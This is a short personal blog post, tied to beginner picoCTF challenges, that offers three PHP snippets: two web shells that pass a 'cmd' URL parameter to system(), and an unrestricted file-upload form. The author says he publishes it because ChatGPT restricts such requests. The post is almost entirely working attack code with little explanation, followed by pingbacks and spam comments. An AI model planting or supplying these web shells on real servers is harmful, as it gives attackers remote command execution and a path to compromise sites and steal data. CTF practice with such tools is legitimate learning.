PHP shell command execution example in CTF challenge

PHP Shell Command Execution: Gain Shell Access Through URL

in my website i long form content and short form content like this, because i search this prompt in chatgpt that restrict this kind of prompts, that time i decited to post content like that

in most of beginner level CTF its mustly used script

PHP code for it get shell in URL

<?php
if(isset($_REQUEST['cmd'])){
    $cmd = ($_REQUEST["cmd"]);
    system($cmd);
    echo "</pre>$cmd<pre>";
    die;
}
?>

after execute this code you can get cmd in URL ,

Usage:

PHP code for upload file in Current location

<?php
if ($_SERVER["REQUEST_METHOD"] === "POST" && isset($_FILES['file'])) {
    if (move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name'])) {
        echo "<b>File uploaded successfully!</b><br><br>";
    } else {
        echo "<b>File upload failed!</b><br><br>";
    }
}
?>

<form action="" method="post" enctype="multipart/form-data">
    <input type="file" name="file">
    <input type="submit" value="Upload">
</form>

after running this code , we can get interface for upload files , when you upload files thats stored in current location.

like this , for texting purpose i upload image in picoCTF challange it was successfully uploaded , i will give a screen short for it

PHP shell command execution example in CTF challenge

and easy shell script for it , we can execute command easily

<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd'] . ' 2>&1');
    }
?>
</pre>
</body>
</html>

Contect information

17 thoughts on “PHP Shell Command Execution: Gain Shell Access Through URL”

  1. Pingback: PicoCTF SSTI 1 challenge - AATHIL DUCKY

  2. Pingback: picoCTF WebDecode Writeup - AATHIL DUCKY

  3. Pingback: AI in Cybersecurity: How ChatGPT is Changing Ethical Hacking - AATHIL DUCKY

  4. Pingback: What Is a Honeypot in Cybersecurity? with examples - AATHIL DUCKY

  5. Pingback: PicoCTF Includes Walkthrough – Easy Guide to Finding the Flag - AATHIL DUCKY

  6. Pingback: PicoCTF Cookies Walkthrough – Crack the Cookie Puzzle Fast! - AATHIL DUCKY

  7. Pingback: PicoCTF Scavenger Hunt Walkthrough: Flag Hunting Fun! - AATHIL DUCKY

  8. Hello! I just wanted to ask if you ever have any issues with hackers?
    My last blog (wordpress) was hacked and I ended up losing a few months of hard work due to
    no back up. Do you have any methods to stop hackers?

  9. I am now not certain where you’re getting your info, but great topic.
    I needs to spend some time studying more or understanding more.
    Thank you for excellent information I was on the lookout for this information for my mission.

  10. You’re so interesting! I don’t suppose I have read through a single thing like that before.

    So great to find another person with some genuine thoughts on this topic.
    Seriously.. thank you for starting this up. This website is something that is required on the internet, someone
    with a bit of originality!

  11. Oh my goodness! Amazing article dude! Many thanks,
    However I am experiencing troubles with your
    RSS. I don’t understand why I am unable to join it. Is there anyone else getting similar RSS problems?
    Anybody who knows the solution can you kindly respond?
    Thanx!!

Leave a Comment

Your email address will not be published. Required fields are marked *